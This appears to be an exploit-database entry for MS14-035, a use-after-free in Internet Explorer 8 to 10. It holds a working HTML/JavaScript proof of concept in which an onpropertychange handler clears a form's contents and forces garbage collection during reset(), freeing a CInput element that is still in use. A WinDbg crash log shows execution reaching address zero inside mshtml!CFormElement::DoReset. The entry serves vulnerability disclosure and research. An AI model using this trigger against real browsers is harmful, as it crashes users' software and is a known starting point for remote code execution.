Internet Explorer 8, 9 & 10 - CInput Use-After-Free (MS14-035) - Crash PoC

🗓️ 01 Jul 2014 00:00:00Reported by SnowflakesType
MS14-035 Internet Explorer CInput Use-after-free PO

                                                &#60;!-- 
Exploit Title: MS14-035 Internet Explorer CInput Use-after-free POC
Product: Internet Explorer
Vulnerable version: 8,9,10
Date: 23.06.2014
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/)
Vendor Homepage: http://www.microsoft.com/
Tested on: Window 7 SP1 x86 IE 8,9,10
CVE : unknown
--&#62;
&#60;html&#62;
&#60;head&#62;&#60;title&#62;MS14-035 Internet Explorer CInput Use-after-free POC&#60;/title&#62;&#60;/head&#62;
&#60;body&#62;

&#60;form id=&#34;testfm&#34;&#62;
&#60;textarea id=&#34;child&#34; value=&#34;a1&#34; &#62;&#60;/textarea&#62;
&#60;input id=&#34;child2&#34; type=&#34;checkbox&#34; name=&#34;option2&#34; value=&#34;a2&#34;&#62;Test check&#60;Br&#62;
&#60;textarea id=&#34;child3&#34; value=&#34;a2&#34; &#62;&#60;/textarea&#62;
&#60;input type=&#34;text&#34; name=&#34;test1&#34;&#62;
&#60;/form&#62;

&#60;script&#62;

var startfl=false;


function changer() {
 // Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element  
   if (startfl) {
       document.getElementById(&#34;testfm&#34;).innerHTML = &#34;&#34;; // Destroy form contents, free next CInput in DoReset 
	   CollectGarbage();
   }
   

}

document.getElementById(&#34;child2&#34;).checked = true;
document.getElementById(&#34;child2&#34;).onpropertychange=changer;
startfl = true;
document.getElementById(&#34;testfm&#34;).reset(); // DoReset call

&#60;/script&#62;


&#60;/body&#62;

&#60;/html&#62;

&#60;!--
Crash details


(fd4.d84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a5c0704 ebx=0556b358 ecx=081c2848 edx=00000004 esi=081c2848 edi=00000002
eip=00000000 esp=025bce94 ebp=025bceb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
00000000 ??              ???
0:004&#62; kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
025bce90 6a5d1742 091ac108 00001200 6aafcb54 0x0
025bceb4 6a733150 0556b358 091ac108 6a73311d mshtml!CFormElement::DoReset+0xea
025bced0 6a7ef10b 0556b358 091ac108 0363d298 mshtml!Method_void_void+0x75
025bcf44 6a7fa6c6 0556b358 000003f2 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
025bcf94 6a81738a 0556b358 000003f2 00000001 mshtml!CElement::ContextInvokeEx+0x9d
025bcfd0 6a79bc0e 0556b358 000003f2 00000001 mshtml!CFormElement::VersionedInvokeEx+0xf0
025bd024 6c38a26e 0363d838 000003f2 00000001 mshtml!PlainInvokeEx+0xeb
025bd060 6c38a1b9 08968530 000003f2 00000409 jscript!IDispatchExInvokeEx2+0x104
025bd09c 6c38a43a 08968530 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
025bd15c 6c38a4e4 000003f2 00000001 00000000 jscript!InvokeDispatchEx+0x98
025bd190 6c39d9a8 08968530 025bd1c4 00000001 jscript!VAR::InvokeByName+0x139
025bd1dc 6c39da4f 08968530 00000001 00000000 jscript!VAR::InvokeDispName+0x7d
025bd208 6c39e4c7 08968530 00000000 00000001 jscript!VAR::InvokeByDispID+0xce
025bd3a4 6c395d7d 025bd3bc 025bd500 0113ca98 jscript!CScriptRuntime::Run+0x2b80
025bd48c 6c395cdb 025bd500 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xce
025bd4d4 6c395ef1 025bd500 00000000 00000000 jscript!ScrFncObj::Call+0x8d
025bd550 6c39620a 0113ca98 025bd710 00000000 jscript!CSession::Execute+0x15f
025bd59c 6c39c3b9 08987c70 025bd710 025bd720 jscript!COleScript::ExecutePendingScripts+0x1bd
025bd600 6c39c1d1 08987c70 002d346c 6a75f7b0 jscript!COleScript::ParseScriptTextCore+0x2a4
025bd628 6a75f774 08987c74 03dc016c 002d346c jscript!COleScript::ParseScriptText+0x30


--!&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1